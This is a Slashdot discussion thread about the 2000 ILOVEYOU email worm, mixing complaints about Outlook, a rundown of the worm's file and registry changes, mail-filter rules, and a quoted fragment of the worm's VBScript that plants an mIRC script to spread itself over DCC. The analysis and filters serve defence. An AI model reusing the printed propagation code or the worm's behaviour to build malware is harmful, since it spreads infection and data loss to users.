    since we use Outlook/Exchange for mail after migrating (partially) away from Novell and Groupwise...never mind that there's a large Mac presence at NIH, and the Mac client is way lame and not compatible with the Windows version (yet).

    Some of this was my employer's idea, as well. (The migration, not the virus.)

    Basically, even though 90% of the machines I support are not affected, everybody has to go without mail because they've turned off the Exchange server. I FUCKING FUCKING FUCKING hate Outlook!

    --
    I use Macs for work, Linux for education, and Windows for cardplaying.
  79. Another virus idea by FascDot+Killed+My+Pr · · Score: 1

    Nothing spreads like an email virus. So why not spread some "innoculation" the same way? VirusEdu.exe: Shows you splash screens (a la Microsoft installers) on the evils of opening unsolicited, executable attachments while infecting your computer. "Tell me more" button has a list of email clients that don't automagically execute unknown programs.


    --
    Have Exchange users? Want to run Linux? Can't afford OpenMail?

    --
    Linux MAPI Server!
    http://www.openone.com/software/MailOne/
    (Exchange Migration HOWTO coming soon)
    1. Re:Another virus idea by degroof · · Score: 1

      How about a virus that "cripples" Outlook so that it can't automatically execute attachments? 7:^)

    2. Re:Another virus idea by mpe · · Score: 1

      How about a virus that "cripples" Outlook so that it can't automatically execute attachments? 7:^)

      Other ideas are one which identifys users in need to more training :) Maybe even create a "hall of shame".

  80. REMEMBER! by waldeaux · · Score: 2

    ... you only hurt the ones you love!

  81. LoveLetter worm: the full rundown by RubiCon · · Score: 5

    Okay, given a lot of the notices I've seen on this worm so far seem to be inaccurate, here's the rundown:

    Files created/edited:
    MSKernel32.vbs [created in System folder, copy of worm]
    Win32DLL.vbs [created in Windows folder, copy of worm]
    LOVE-LETTER-FOR-YOU.TXT.vbs [created in System folder, copy of worm]
    LOVE-LETTER-FOR-YOU.HTM [created in System folder, web page with worm embedded in it]
    WIN-BUGSFIX.exe [downloaded into default IE download folder]
    WinFAT32.exe [created in System folder by WIN-BUGSFIX32.exe, unknown purpose]
    *.vbs, *.vbe [overwritten with copy of worm]
    *.js, *.jse, *.css, *.wsh, *.sct, *.hta [deleted, replaced with copy of worm with name <filename>.vbs]
    *.jpg, *.jpeg [deleted, replaced with copy of worm with name <filename>.<ext>.vbs]
    *.mp3, *.mp2 [hidden attribute set, copy of worm with name <filename>.<ext>.vbs created]
    script.ini [if found in a directory with mIRC, overwritten with a script to output the HTML version of the worm to other users]

    Registry keys created/edited:
    HKLM\Software\Microsoft\Windows\CurrentVersion\Run \MSKernel32 [created to run MSKernel32.vbs]
    HKLM\Software\Microsoft\Windows\CurrentVersion\Run Services\Win32DLL [created to run Win32DLL.vbs]
    HKCU\Software\Microsoft\Internet Explorer\Main\Start Page [altered to attempt to download WIN-BUGSFIX.exe on browser startup]
    HKLM\Software\Microsoft\Windows\CurrentVersion\Run \WIN-BUGSFIX [created to run WIN-BUGSFIX.exe once downloaded]
    HKCU\Software\Microsoft\WAB\... [one entry per address book entry plus a running total used during email propagation]

    From all this you can work out the basic intention of the worm. It spreads via email propagation to everyone in your address book and by being sent via mIRC to other users. It maintains its hold on a machine by putting copies of itself in the Run and RunServices registry folders and by copying itself to files that look like existing files on the machine (presumably hoping the user has Hide Known File Extensions enabled).

    I'm not sure about the .exe it attempts to download (other than its marker) because all the traffic has taken the target server the file is held on (www.skyinet.net) down.

    Other info: the file orginates in Manila, Philippines according to comments in the worm, the email title it uses is 'ILOVEYOU' and the email text reads 'kindly check the attached LOVELETTER coming from me.'

    1. Re:LoveLetter worm: the full rundown by hardcode · · Score: 1

      > I'm not sure about the .exe it attempts to download

      Neither am I, has anyone seen it? I'd like a 'tame' copy for diassembly. www.skyinet.net doesn't appear to be reachable...

      Nice summary btw! We're just getting a disposable PC here to test it out on, PLEASE NOTE folks, it also overwrites files on drives mounted over the network.

      Rich (toatsing marshmallows over a burning Viglen)

    2. Re:LoveLetter worm: the full rundown by LEPP · · Score: 1

      According to Computer Associates the .exe is a backdoor server application. The trojan description was on their server at http://www.cai.com/virusinfo/ but has since been removed. I guess CAI uses Outlook as well and is now running on a backup HAHAHA.

    3. Re:LoveLetter worm: the full rundown by RubiCon · · Score: 1

      Something that provided file access to the machine was my hunch - particularly given the worm goes to great lengths not to delete MP3 files (it sets them as hidden) even though it's happy to trash all the other files it goes after.

      Obviously Napster just isn't good enough for some script kiddie out there. ;)

    4. Re:LoveLetter worm: the full rundown by no-s · · Score: 1
      It spreads via email propagation to everyone in your address book

      Reminds me of the CHRISTMA EXEC that hit IBM's internal email and some academic sites back in `88, or was it `89?

    5. Re:LoveLetter worm: the full rundown by Muffhead · · Score: 1

      A fix for it is here.

  82. Work is never fun by Cplus · · Score: 2

    Especially when they make you admin NT servers.

    I would imagine that a great number of the /. crew are stuck in the same position as I am, dictated to by corporate or institutional policy. It's not necessarily a matter of coming out of the closet, but of frowning, lowering your head and mumbling about the boss.

    --
    "Share your knowledge. It's a way to achieve immortality." -- Dalai Lama
  83. Whoever wrote that virri...great job!!! :) by BobBilly · · Score: 1

    Anyways..what I don't get....I work for a government agency...our mail list has some 70,000 people in it......not to mention how many of those 70,000 have their own lists. Now first Melissa was out there, that was no problem for us because we were using CC Mail, after Melissa..our whole agency goes and switches to Outlook? umm.......explain the rationale behind this......? I say more viruses like this need to be spread around so some people will actually start using the gray matter between their heads....and why the fuck would you run an executable on your system if it seems so suspicious?
    I don't know about the rest of you but I'll be glad when "god" (our main sysadmin that thinks he's right) sees his servers come to a halt and everything goes haywire..and I'll be there laughing my ass of at him....dunno. I haven't received this virus yet.. :( but since we have the "source code" to it..I say we modify it to read something else.not "i love you" but.let's say..... "m$ sucks linux rocks" or something...and start mass mailing the M$ morons. :)


    Why win9x really sucks

    1. Re:Whoever wrote that virri...great job!!! :) by reg_nad_kcin · · Score: 1

      "what's all this broo-ha-ha?" "broo-ha-ha? ha-ha-ha..." "ha-ha-ha-ha (cough,cough)"

  84. Now in Spain already by wSaintx · · Score: 1

    It's here already.. a bunch of e-mails coming from system administrators, university official mailers, etc.. A friend of mine opened it in my pc (while reading his mail) and I am realy annoyed. Does anyone have any patch already? Just deleting all the (32!!) damaged files is not going to tranquilize me This is a terrible proof of how weak is Windows and Outlook security.. how is it possible that you run a script which can rename files, overwrite them and even change the whole windows registry without at least being warned with something like "man, you are doing something dangeorous". ??

    1. Re:Now in Spain already by Gaber · · Score: 1

      This is a terrible proof of how weak is Windows and Outlook security..

      No, this is proof of how easy it is to get screwed if you don't think before double-clicking email attachments. It's a simple rule: if you don't know what it is, don't open it. Virus scanners don't protect you from viruses that haven't been identified yet.

  85. National Computer Systems by BMonger · · Score: 1

    I got to work this morning and it had found its way to a lot of people's inboxes her at NCS in Iowa City, IA, USA. I didn't have any of the e-mails but everybody else seemed to. maybe nobody loves me... everybody knew about it and deleted the messages anyway. Nothing bad happened to us as far as I know.

  86. Umm, okay, I COULD be wrong... by Shoden · · Score: 3

    Just after that previous post, I went to delete those 16 messages from my deleted items folder... as soon as I selected the first message, the preview pane failed to appear. I immediately jumped to the task manager and saw "Virus - Running". I killed that and Outlook, which had stopped responding. As far as I can tell, nothing was sent, and none of my files were changed.

    1. Re:Umm, okay, I COULD be wrong... by YU+Nicks+NE+Way · · Score: 1

      I'll bet that you had an email named "Virus" open on your screen. The front panel of the task manager shows only the titles of active, visible windows. Since this particular darling doesn't open a window, it couldn't have spawned the effect you saw.

      You were right to begin with: you can't spawn the virus unless you execute the attachment. Windows Scripting Host scripts are not part of standard HTML.

    2. Re:Umm, okay, I COULD be wrong... by Dave+Fiddes · · Score: 1

      Thanks for injecting a dose of normality. I was getting worried that this was going to turn into a "It made my girlfriend pregnant just because she looked at it" stampede panic ;)

  87. In defense of scripting in mail. by Raindeer · · Score: 3
    Alot of people here are going on about how bad it is that people still use MS-Outlook etc. And how bad it is that they open attachments they don't know of.. That all being as it may, I would like to point out, that the ability to be able to run scripts etc in mail is not nescessarily a bad thing, but that this has just been poorly implemented by MS.

    What I mean is this. I did my internship at a government agency which pays old age pension and child benefits in The Netherlands. They used alot of the VB possibilities you find in Office. The espescially build a very tight integration between their e-mail and the database that they have. Because they did this in this way, they were able to streamline the organisation in a great way. Alot of stuff could be streamlined through the organisation without the need for prints and reprints etc. Thankfully they had a security-officer that would refused to open up the network to the internet and decided to install one internet terminal per department. (I hope they still have that policy)

    What I meant to say was that in stead of laughing at all those people using MS-products and having problems with this VB-script, we should come up with a solution that is alot safer and gives companies the same ease of use of integrating it into their organisation.

    1. Re:In defense of scripting in mail. by Redw00d · · Score: 1

      So what you are saying is that we should all use the wonderful MS products, just as long as we share the one internet terminal which is on an isolated network?
      Doesn't the inconsistency of that statement bother you. What you advocate is the users suffering to make up for the silly ideas & implementation of MS.

    2. Re:In defense of scripting in mail. by Raindeer · · Score: 2
      No, that is not what I said.. What I said is that the concept is good and that you can do great things with it. What I also said is that I am glad that they cannot be hit by this kind of virus, because of the security policy. Contrary to what some here think, you don't need a 24/7 internet connection to do your job. At this place they implemented the policy not because of MS-products, but because they have to pay 49 billion dutch guilders a year. ($25billion) They don't want to jeopardize that by opening up their network to the internet. At least not now. As you can see, it makes it quite hard for script-kiddies/e-mail viruses/crackers etc to f*** up their business.

      What I also said is that MS implementation sucks and that there should be a better way of doing this. Somebody suggested to use Lotus, i have no idea if it is better, but maybe somebody can think up an open source alternative.

      You know, one essential part of internet security is that you determine why you want a certain part of the network connected to the Internet (or any network). If you don't know, then maybe you shouldn't.

      What I said was not in defense of MS, but in defense of scripting in mail. I hope now you understand what you read.

    3. Re:In defense of scripting in mail. by duckygator · · Score: 1

      This sort of thing already exists in a much better implemented manner. I think it's called Lotus Notes. Groupware. Workflow. Knowledge Management. You know - all those buzzwords you've heard recently from Microsoft, but others have been doing for more than 10 years.

  88. Re:"Virus warning!!@!" on Slashdot?? by Glytch · · Score: 1

    Dude, chill. Have some tea.

    A lot of us *have* to use Outlook, which seems to be the most heavily affected email client, in government and/or school and/or industry. A lot of us have extensive address lists, and more importantly, this worm is actually destructive, unlike Melissa. Overwriting many, many, many different files with itself is Not Nice Behaviour.
    Don't laugh at the victims for not using Linux. Laugh at them for being utter idiots who decide to run unknown VB scripts blindly.

  89. TCO by bwoodring · · Score: 1

    From the BBC "Computer virus experts are currently battling to find an antidote to the problem, which is thought to be targeting idiots..." -Bruno "Truth Against the World" -FLW

  90. HOWTO defuse the danger by MrX · · Score: 1

    I know we can rant on all day about how this never should have happened, but let's be a bit more productive and inform users how to protect themselves against this Love Letter Virus.

    For this virus to work, it needs to run inside the Windows Scripting Host, which is sorta like a shell with UI.

    The best way to protect your computer is to take 2 steps:
    1) Close down all your open (writable) shares. If somebody has mapped a share on your drive to a drive letter on their computer, they can cause the files in that share to be overwritten by this virus (*.MP3, *.JPG, *.CSS to mention a few). So even your SAMBA shares aren't safe if they allow users to write on them.
    2) If you are on a Windows 9x/ NT / 2000 / ME machine, go to your system directory and change the name of your Windows Scripting Host executable from wscript.exe to something like _wscript.exe. This makes sure that whenever your system tries to find the Windows Scripting Host for running any VBScript on your system, it can't find the EXE.

    To see if any of your files got infected on a Windows Box, scan all your drives for a file with the .vbs extension and containing the text ispyder@mail.com. Don't run the files, just delete them. You should also look into cleaning some registry entries, and perhaps also deleting a file called WIN-BUGFIX.EXE.

    I hope this helps. Good luck!

    --

    BLaH(c)

  91. solution for sendmail? anyone? by Lord+Omlette · · Score: 1

    Anyone got a decent sendmail solution? Pretty please? My sendmail skills blow =(
    --
    Peace,
    Lord Omlette
    AOL IM: jeanlucpikachu

    --
    [o]_O
    1. Re:solution for sendmail? anyone? by Kript · · Score: 2

      our sendmail Guru put the following in our
      /etc/procmailrc:
      :0
      *Subject: (ILOVEYOU|INEEDYOU)
      /home/mail/virus-slr

      :0c

      of course, you may wish to change the location of the file that all the mails are diverted to.
      This will forward all the emails with the subject of ILOVEYOU or INEEDYOU into the file virus-slr.
      so far - its a 12Mb file!

    2. Re:solution for sendmail? anyone? by soren.harward · · Score: 1

      The only problem with this is that it kills incoming only. If you run a mailserver for an affected site, well, you're still sending it out like mad, just not getting any more. See the other sendmail tip for a sendmail filter.

  92. skyinet.net - wouldn't wanna work there today by bvark · · Score: 1

    I called SkyInet.net in Manila (whose servers were being used to distribute the second part of the virus, payload still unknown) about 10AM CET (8AM UTC) this morning.
    I guess it was about 8PM there, and the lady on 24hr support sounded VERY harasssed. Still, nice to get a proactive response out of them quickly - they deleted the files within 1/2 an hour.

  93. Administrator's advice:Training of users by Fats · · Score: 2

    I think System Administrators should send a similar e-mail as this one every once in a while to all their users.
    An unharmfull version of it, that is, which only sends a reply back to the administrator. This way, he/she can warn the user for not ever opening anything he/she does know know of.

    Of course, the administrator will have to fake his e-mail addy, but that shouldn't be hard :)

    Just an idea... don't count on the web becoming virus-less... take countermeasurements.

  94. VB Macro to write Virus? by seaker · · Score: 1
    Anyone care to write a VB Macro which will write a VB SCript virus for you?



    -----------------------------

    --

    -----------------------------
    If you can't blind them with brilliance, baffle them with bull.
  95. DDOS on www.skyinet.net? by fingal · · Score: 1
    Ho hum. well yes, this does rather screw up the individual machines a little bit, but think about it - maybe the machines are not really the target for the attack...

    anybody tried to ping www.skyinet.net recently?

    or a traceroute?

    small bit of a problem there methinks...

    we have 10% (and rising) of the known world recursively re-infecting themselves with a virus that not only fscks up your hdd, but also tries to download a file from a web server and (surprise surprise), the web server falls over (and by the looks of it most of the surrounding infrastructure of that part of the net - unless they have purposefully disconnected themselves).

    now what would happen if the script pointed itself at yahoo...

    much easier than all this messing around with indirect ping triggers for launching nested attacks from previously compromised boxes.

    ho hum. M$ we love you. not.

    --

    The only Good System is a Sound System

  96. TOO BAD by avandesande · · Score: 2

    Too bad MS didn't include antivirus with the OS instead of IE.

    --
    love is just extroverted narcissism
    1. Re:TOO BAD by GossG · · Score: 1
      Too bad MS didn't include antivirus with the OS instead of IE.

      They did include a virus checker with the previous release (DOS 6.x). But virus releases change too fast. You buy an OS every two or three years. The viruses change faster than that. Is even the original Melissa code older than Win98?

    2. Re:TOO BAD by NickFitz · · Score: 1

      Um... if they can get Windoze Update to go off to their web site and bugger up my system whenever it feels like it, surely they can have it download a new virus pattern file at the same time?

      --
      Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
  97. Also a DoS by ShadoWolf · · Score: 1

    After looking at the source code and seeing that it makes your start page in Internet Explorer one of 4 random sites at skyinet.net, then wouldn't it be a DoS against skyinet.net as well? skyinet.net is down right now, though I am not sure if it's because of this, or they are denying all requests until they can remove the pages.

  98. if it were any other company... by Bad_CRC · · Score: 1
    Macro viruses have been known for what, about 5 years now?

    They appear to be the #1 type of virus affecting people in the world today by numbers, just by looking at the symantec virus database.

    This could all be fixed by Microsoft if they wanted to, yet they don't fix it, and everywhere I look, people are saying "it's not microsoft's fault"

    How can a security hole as demonstrably large as this remain unfixed for so long? 1 jr. high kid in the phillipines writes a small virus saying how he hates to go to school, and in less than 2 days, he has disrupted communications in most of the world. (30,000 without email in my company alone today)

    What can be done to focus people's attention on this security hole, nobody seems to care that it exists, and it is exploited over, and over, bringing companies to their knees time and time again.

    or am I being overly critical here, and this isn't anything unreasonable? To me, it seems obvious, and I don't understand how the mainstream press hasn't begun to pressure Microsoft to stop these virus attacks by fixing their software.

    ________
    1995: Microsoft - "Resistance is futile"

    1. Re:if it were any other company... by Masked+Marauder · · Score: 1

      This is a feature, not a bug.

      Everyone says that the strength of MS products are their deep integration. So here it is, exactly what they are asking for.

      The next step is virus/worms that use MS Wallet to send money to Swiss bank accounts. ... Followed soon afterward by e-postcards from the Carribean saying 'thanks for the vacation!'

    2. Re:if it were any other company... by wjodon · · Score: 1

      Unfortunately the mainstream press, Microsoft, and wintel corporate IT managers protect each other because they are all culpable in the huge confidence game that is mainstream corporate IT. Do you really think trade journals that have been lying to us or the IT goons who force most of us to live with Microsoft products are going to scream out in indignation at their benefactors?

      In my opinion, one of the worst fallouts of Microsoft's monopoly has been the intensification of the corruption of the commercial journals and thereby of IT departments run by executives too lazy to do their own research.

      Lazy people who do not think for themselves (all of the above) are simply incapable of taking responsibility for the situations they create.

  99. Windows vs. UNIX viruses by Master+of+Kode+Fu · · Score: 1
    The fact that there are way more Windows viruses than Linux ones doesn't mean that Linux is more secure; it means that the Open Source community isn't trying hard enough.

    :)

  100. Fun... by jargoone · · Score: 1
    This is great. I'm a consultant, and this thing took down my company's mail server as well as my client's.

    And to think, some of the West coast is still sleeping soundly in their beds. What a day they're in for.

    I'll stick with procmail and elm, thank you.

    :0
    * Subject:.*ILOVEYOU
    /dev/null

  101. Another reason to avoid Msft products... by ch-chuck · · Score: 2

    simply because they've royally pissed off enough technically adept folks and are such a large target - if the DOJ/Courts doesn't take care of their unfair trading practices, the underground assassins will.

    Something along the lines of the devil's dictionary of an absolute monarch: He can do anything he pleases, so long as he pleases the assassins.

    --
    try { do() || do_not(); } catch (JediException err) { yoda(err); }
  102. www.skyinet.de slashdotted! by HGWS · · Score: 1

    The server where WIN-BUGFIX.EXE resides, www.skyinet.net seems to be unreachable all the day - seems to be a kind of "slashdot effect", although I'm pretty damned sure that this is not /. which caused this effect...

  103. We should send an email to warn everybody by iamriley · · Score: 1

    But we need to make sure everybody gets the warning. I propose that we put a vbscript attachment on the warning email so that it sends itself to everyone in the recipient's address book.

    --

    If you can read this, then I forgot to check "Post Anonymously".

  104. Fixed announced for the ILOVEYOU virus by Swiss+Mercenary · · Score: 1

    Just announced on The Register a fix has been produced for the script and it can be downloaded from Dr Solomon's Web Site

    1. Re:Fixed announced for the ILOVEYOU virus by stx23 · · Score: 2

      You will need to install the evaluation edition of Dr. Solomons, then the extra virus .sig to get it to work, though, but it's a start. Solutions from your favourite AV vendor should be appearing Real Soon Now.
      Now, here's hoping a benevolent moderator passes by and mods the parent of this up where it belongs.

  105. Re:Here is the Visual Basic Script that is "ILOVEY by fatboy · · Score: 1

    if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
    set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
    scriptini.WriteLine "[script]"
    scriptini.WriteLine ";mIRC Script"
    scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
    scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
    scriptini.WriteLine ";"
    scriptini.WriteLine ";Khaled Mardam-Bey"
    scriptini.WriteLine ";http://www.mirc.com"
    scriptini.WriteLine ";"
    scriptini.WriteLine "n0=on 1:JOIN:#:{"
    scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
    scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
    scriptini.WriteLine "n3=}"
    scriptini.close
    eq=folderspec
    end if

    Is it making a script for mIRC?? Damn, thats evil.

    --
    --fatboy
  106. Definitions by Rupert · · Score: 2

    From the article:

    Visual Basic files used by webmasters

    I feel that anyone calling themselves a master of the web, but who uses VB, probably has some issues.

    --

    --
    E_NOSIG
  107. simple fix by jbarnett · · Score: 3


    There is a really quite simple fix for this, it comes down to basic security that should be praticed at all times. For example, this worm (among others) spreads it's disease though the use of the address book in outlook express.

    This address book contants email addresses that the person enjoys send/receiving email with. You could say, the address contains a list of "freinds" to the user. The best way to fix being "labeled" as a "freind" is to use words like "I hate you" and "get away from me", spitting, cursing and talking bad about the pope also are some basic security measures you can take to avoid being put into this "address book" which will be used to send virii/worms to.

    Also since this is spread though the use of outlook express, which is an email program. Email programs are used to communicate between to users or person. I can only conclude that communication between humans, in any form is a major security risk and should be stoped.

    The two basic security prinicpals we learned here, is

    1) communication between humans is bad and should not be allowed

    2) be a complete jerk so that even if rule one is broken, you will still have a "fail safe" method in which people will avoid communicatioins with you.

    --

    "`Ford, you're turning into a penguin. Stop it.'" -THHGTTG
  108. grep by jmd! · · Score: 1

    # grep ILOVEYOU /var/spool/mail/* |wc -l
    12

    nyahahahahah... should I warn them?

  109. mirrors of mcafee ? by Darxus · · Score: 1

    Anybody want to mirror the latest mcafee executables & dat files ?

  110. Due To Windows Scripting Host by buzzcutbuddha · · Score: 1

    If you look at the code for the virus, you will see that it uses the Windows Scripting Host. Any sysadmin who left Windows Scripting Host on their system is just asking for trouble. Ever since that came out a year ago, every security site and book has at least in brief mentioned it as a gaping security hole because Windows will automatically run scripts through it without checking for permissions, blah blah blah.

    I and the two techs here at work removed it a while ago. We've received two of the emails from other companies, but they have fallen dead in the water.

    Remove Windows Scripting Host from your computer, and you should be fine! So far, the best tool to use to remove WSH is fdisk. WSH comes as default on Win98 and W2k. NT can get it, but it is not installed as default.

    1. Re:Due To Windows Scripting Host by gwicks · · Score: 1

      Remove Windows Scripting Host from your computer, and you should be fine! So far, the best tool to use to remove WSH is fdisk. WSH comes as default on Win98 and W2k. NT can get it, but it is not installed as default

      Ha! See what that does to the lusers!

      --
      All spelling mistakes are in my mind and are faithfully reproduced by my fingers
  111. Talk about irony by British · · Score: 1

    I just got hit with the virus at my workplace. here's the funny part. The extremely attractive female coworker who sent it to me(twice!) would be the LAST person who would ever love me, or even talk to me.

    Talk about the ultimate irony.

  112. More on ZDNet by Rob+Kaper · · Score: 2

    There is an article and already an update.

  113. Preview pane doesn't do it. by u02sgb · · Score: 1

    Happened in our work today too. The preview pane in Outlook doesn't set it off though. Something to note is it end in .txt.vbs On a standard install of windows the filename extensions are turned off so it *looks* like a .txt file on first glance. In most cases that's all it takes to open it. Not a microsoft fan.

  114. Tried writing this in MS Word by Analysis+Paralysis · · Score: 5
    Only got as far as the second line when the paper-clip winked at me and asked "It looks like you're writing a virus. Would you like help?"

    Nice to see some innovation at work here...

    Microsoft: Don't Innovate, Regurgitate!

  115. Which is worse? by Nissyen · · Score: 1

    So far this morning I have received 6 copies of the I Love You virus, and 7 warning emails about the virus from sysadmins, friends, and concerned department secretaries. I sometimes wonder if the barrage of alerts I get is worse than the actual virus.

  116. What's with the BUGSFIX.exe? by wildwood · · Score: 1
    The VBScript, if I'm reading it correctly, sets the user's default homepage for IE to a 'WIN-BUGSFIX.exe'. Does anybody know what that does?

    --
    normal(adj)- people who don't sit on slashdot all day wondering why everyone else isn't building robots [DECS]
  117. Re:Here is the Visual Basic Script that is "ILOVEY by laborit · · Score: 5

    Oh, great.

    WASHINGTON, D.C. (Reuters) - The "I Love You" e-mail virus, which has crippled hundreds of businesses and ISPs in the U.K., has been traced to an American computer discussion site. "We were baffled as to where this deadly new threat had come from," said Richard Josephs of the FBI's computer crimes division, "until we learned that the source code to the virus was available on Slashdot.org." "Source code" refers to the computer-language instructions that a programmer "compiles" to produce a wide variety of applications, from Microsoft Word to Microsoft Excel.

    The FBI was informed of the code at 8:03 Wednesday by a courageous anonymous hero, who claimed he has been monitoring the slashdot.org page for evidence of illegal activity ever since it published the "source code" for DeCSS, a program invented by hackers to illegally copy and resell copyrighted DVDs over the Web.

    The Department of Justice is preparing to file charges against the hacker-friendly slashdot.org, despite protests from its owners. One, a shadowy figure known only as "CmdrTac0" claims that the source code could have come from anyone who received the virus. But experts say this is unlikely, because there is no known way to keep Microsoft Outlook from launching the virus program upon receipt.

    We have been unable to find the anonymous hero who reported the presence of the code on Slashdot.org, but the FBI official who spoke with him said he repeatedly asked if they had the unlisted phone number of actress Natalie Portman.

    --

    -----
    Go ahead, blame me... I voted for Nader!
  118. Pine user here! by m0nkeyb0y · · Score: 1

    I must say, I feel even better than I usually do about using such a wonderfully fabulous mail program. Being a teenage boy, I have to mack it with the ladies, that goes without saying. In an ever technology laiden world, the girls I chill with tend to want to chat over *shudder* AOL, so I'm more than happy to use AIM, but when it comes to getting gobs and gobs of terrible fwd's from them, a smile comes to my face when they write a day later and say, "DON'T OPEN THAT OTHER MAIL I SENT YOU!! IT HAS A VIRUS!!" Who would have thought "Happy99.exe" could be evil? ;) Thanks pine!

    --
    -- From my Best Friend (Written to me over ICQ): "i was gonna go to a party...but i had to reinstall windows"
  119. RIAA attempt to kill MP3 worldwide : -) by Random_Eyes · · Score: 1

    Everything else is just red herring. What me paranoid?

  120. Unix won. by mr · · Score: 1

    Wyse not wise

    And you seem to forget that *THIS* right here is text. Text *IS* the medium we use...some people just like it wrapped up in graphics, thinking this makes life eaiser.

    Now...Dissing Unix? Keep in mind that VMS->WNT 3.1 was going to be a 'better unix than UNIX' and the model of the X window terminal was dead. (BTW, anyone have copies of these original Micro$oft proclimations) Today, it is Unix and M$...that is about all that is left standing, even Apple is going to Unix. And the X terminal model is alive and well, re-done as the 'application server' Citrix.

    So, like it or not, AC, Unix *HAS* WON! M$ wants to BE unix, Apple is moving to Unix....its all over for you but your crying. Is Unix the best model for an OS? Perhaps, perhaps not, and perhaps one day Unix will be replaced. But for right now, Unix is the horse to beat!

    --
    If it was said on slashdot, it MUST be true!
    1. Re:Unix won. by Sun+Tzu · · Score: 2

      Here in my data center, I still sometimes hear the refrain from the mainframers; "but Unix can't handle the I/O!".

      Little do they know that the EMC disk arrays that handle the mainframe storage are all Unix boxes themselves. ;)

    2. Re:Unix won. by cyber-vandal · · Score: 1

      Yes indeed, Unix has won. That's why all your bank statements, telephone bills and any other statements from large organisations are produced by OS/390 instead of Solaris. Who gives a shit what the disk controller runs. The mainframe IO channels each have a dedicated Pentium II. Does this mean that the PC architecture has 'won'? IBM takes the best solution for each part of it's architecture and currently whips Solaris and HP-UX out of sight for IO-intensive tasks.

    3. Re:Unix won. by mr · · Score: 1

      Do not confuse the hardware with the software.

      The bandwidth in the big IBM frame *IS* impressive. OS/390 is useful on these systems because the proggrams/programmers already KNOW the 390.

      These /. stories show how Unix (in the form of Linux) can be the OS of choice on a OS/390.

      http://slashdot.org/article.pl?sid=00/04/03/0055 241&mode=thread
      http://slashdot.org/article.pl?sid=00/03/30/1415 207&mode=thread

      --
      If it was said on slashdot, it MUST be true!
    4. Re:Unix won. by cyber-vandal · · Score: 1

      Good point, but OS/390 can do just about everything that Linux can, so I can't see a huge advantage (except in kudos for my favourite OS) in running it under VM.

  121. Time for a class action suit against microsoft by Lumpy · · Score: 1

    I am sick and tired of having to deal with microsoft's insecure software. Microsoft has cost me and my company Millions ever cince we started using their software. Second we had no choice to use their software. When microsoft is shown the problems in their products they say "It's not a problem it's a feature" WEll it's time to start suing them.... if they write poor software, they should pay the piper. And the man that authorized how outlook works should be pubically impaled. (forgive the spelling, I'm typing on a server keyboard as admin trying to fix this microsoft crap)

    --
    Do not look at laser with remaining good eye.
  122. Your Sendmail fix works fine by Peter+Millerchip · · Score: 3

    Moderators, please moderate the parent up! Thanks for posting it, it works great. We've now re-enabled external email and it's bounced about a million virus emails so far...

    Pete.

    1. Re:Your Sendmail fix works fine by Woko · · Score: 1

      Our Postfix configuration isn't logging the bounces for some reason, so how do you know?

      --
      ---
      Silence is consent.
  123. sendmail hack for stopping ILOVEYOU by revision1_1 · · Score: 1

    Based on the MELISSA hack of yore. It's working for us, and will return the mail to sender. This will work as long as a variant doesn't appear with a different subject (at which time, you simply add another pattern and appropriate error message) Be on the lookout for the tab-separation that is required for sendmail.cf files. The MELISSA hack comes with version comes with 8.9.3, so have a look at the features for recompiling a new CF file.

    D{Lpat}ILOVEYOU
    D{Lmsg}This message may contain the ILOVEYOU virus.

    R${Lpat} $* $#error $: 553 ${Lmsg}
    RRe: ${Lmsg} $* $#error $: 553 ${Lmsg}

  124. spread love. by AeiwiMaster · · Score: 1

    Funny that it takes
    mass communication and buggy software
    to spread love on a global scale ;-)

  125. Gross negligence by Microsoft by zeroth · · Score: 1

    If Napster, etc can be liable for what users do with its technology, Microsoft is grossly negligent for what users do with its technology.

    --mark
    "A Class Action, Part II"

  126. Re:I hate- I love you virus by Spruitje · · Score: 1


    Just shut down our exchange server (here in the US) in the past 10 min (that's why I'm on /. not hard at work).

    The problem is not the server.
    Shutting down the mailserver doesn't help much.
    The problem is Outlook and Outlook express.
    Anybody who is using Eudora (Pro) or Lotus Notes doesn't have a problem at all.
    And this "virus" doesn't work on MacOS, Linux, Solaris.
    Only if you are using that crap from Redmond you have a problem.
    The only reason why mailserver are going down is the sheer number of messages.
    I also found out that this "virus" damaged a lot of .jpg files on our Linux-server.
    But this was because the infected machines replaced lot's of files....

  127. The cure is worse than the disease by VegeBrain · · Score: 1

    When I started Outlook this morning I had 4 messages from the sysadmin warning me not to open these things. There were also 2 copies of the virus which I deleted. I just started up Outlook to see if I'd received any more copies of the virus, and guess what? There weren't any. Instead there's 5 more warnings from the sysadmin.

  128. here's the code: by option8 · · Score: 1

    in case nobody's posted this yet - i didn't see it anywhere - here's the source for all you VB hackers:

    http://option8.com/love.txt

    i tried posting it directly, but got: Lameness filter encountered. Post aborted. :P

  129. Re:Dang! by aclute · · Score: 1

    Tell me how? Does the preview pane in Outlook execute an attachment? Does it execute a VBS script?

  130. Re:Preview pane? Not on my Outlook! by Anonymous Coward · · Score: 1

    The preview pane will run scripts embedded in HTML/MIME mail, unless you have scripting disabled in IE's "Internet" zone. Good day.

  131. Could something like this be written in AppleScrip by sfire · · Score: 1

    Everyone bashes MS, with good reason, but could something similar be written in AppleScript for the Macintosh?

  132. This makes me wonder about Linux.... by Denor · · Score: 2

    This is on topic, but it's going to take me a bit to get to it. Moderators, have faith :)
    One of the reasons that the government thinks it'd be a good thing to break Microsoft up the way they want to, is that without having an OS division, MS-Apps would do things like port Office to Linux.
    Red Hat, among others, sees this as a good thing, since the #1 reason they get for people not wanting to switch over to linux is "I can't use my (.DOC | .XLS | .PPT) files"
    I think about the porting of Office to Linux and see many others adopting Linux as a result. I then see clueless newbies who run as root all the time opening .DOC attachments in their mail, and having a macro virus attack them.
    And if MS-Apps ports Office over, why not Outlook? Right now, most folks think it's fairly rare to see a virus on Linux. If Microsoft ports Office/Outlook over, and clueless newbies/managers get ahold of it, the scarcity of viruses for Linux will vanish.
    I can see the headlines now: "Melissa ported to Linux!"
    I think I'll stick to Pine :)

    --
    -Denor
